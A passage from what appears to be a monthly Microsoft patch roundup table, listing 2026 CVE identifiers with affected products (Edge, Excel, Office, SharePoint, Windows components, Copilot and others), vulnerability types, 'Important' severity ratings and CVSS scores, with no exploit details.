No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  